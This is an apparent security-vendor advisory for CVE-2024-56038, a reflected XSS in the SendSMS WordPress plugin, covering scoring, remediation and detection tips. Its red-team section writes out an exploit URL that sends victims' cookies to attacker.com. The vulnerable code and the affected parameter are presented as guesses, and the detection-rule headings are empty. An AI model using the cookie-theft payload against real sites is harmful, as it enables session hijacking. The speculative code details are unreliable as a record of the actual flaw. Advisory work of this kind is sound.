CVE-2024-56038
Executive Summary
CVE-2024-56038 is a reflected Cross-Site Scripting (XSS) vulnerability in the SendSMS WordPress plugin (by catalinsendsms) affecting versions up to and including 1.2.9. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session on the WordPress site.
As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the SendSMS plugin. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. However, the lack of a patch from the vendor means all installations remain at risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; since no patch exists, users must manually disable or remove the plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated attacker.
- User Interaction: Required (UI:R) – victim must click a crafted link.
- Scope: Changed (S:C) – impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: Low (A:L) – limited disruption.
Threat Level: High due to the potential for credential theft and session hijacking in a WordPress admin context, despite the low EPSS score.
Deep Dive & Mechanics
The SendSMS plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. A typical reflected XSS attack involves crafting a URL with a malicious payload in a query parameter (e.g., ?message=<script>alert(1)</script>). When the plugin processes this parameter and outputs it directly into the HTML without proper encoding, the browser executes the injected script.
The vulnerable parameter is likely message or a similar field used in the plugin’s SMS sending interface. The plugin does not use esc_html(), esc_attr(), or wp_kses() to neutralize the input, leading to the XSS.
Vulnerable vs. Patched Code
Vulnerable Code (SendSMS <= 1.2.9):
<?php
// Example vulnerable snippet
$message = $_GET['message'];
echo "<div class='sms-message'>$message</div>";
?>
Patched Code (Hypothetical):
<?php
// Properly escaped output
$message = isset($_GET['message']) ? esc_html($_GET['message']) : '';
echo "<div class='sms-message'>" . esc_html($message) . "</div>";
?>
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Install WordPress with SendSMS plugin version 1.2.9 on a local server (e.g., XAMPP or Docker).
- Craft Payload: Create a URL with a malicious script:
http://target/wp-admin/admin.php?page=sendsms&message=<script>alert('XSS')</script> - Deliver: Send the link to a victim (e.g., via email or social engineering).
- Execute: When the victim clicks the link, the script executes in their browser.
Example Exploit URL:
http://victim-site.com/wp-admin/admin.php?page=sendsms&message=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Defense & Detection)
- Monitor Logs: Look for unusual query parameters containing
<script>,onerror, orjavascript:in web server logs. - WAF Rules: Deploy a Web Application Firewall rule to block requests with XSS patterns in the
messageparameter. - User Training: Educate users not to click suspicious links, especially those containing
wp-adminpaths.
Indicators of Compromise (IOCs)
- URL Patterns: Requests to
/wp-admin/admin.php?page=sendsms&message=containing<script>tags or event handlers. - HTTP Referer: Unusual referer headers from external domains.
- Log Entries:
GET /wp-admin/admin.php?page=sendsms&message=%3Cscript%3E...in access logs. - File Hashes: Plugin file
sendsms.php(MD5:UNKNOWN– no public hash available).
Detection Engineering
YARA Rule
Sigma Rule
Suricata Rule
Remediation & Mitigation
- Immediate Action: Disable or remove the SendSMS plugin until a patch is released.
- Vendor Contact: Reach out to catalinsendsms for an update; if no response, consider forking the plugin and applying the fix.
- WAF Rules: Block requests containing XSS patterns in the
messageparameter. - Input Validation: Implement server-side validation to reject non-alphanumeric characters in the message field.
- Output Encoding: Ensure all reflected data is escaped using WordPress functions like
esc_html()oresc_attr().
Valters IT – Securing digital frontiers, one CVE at a time.
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.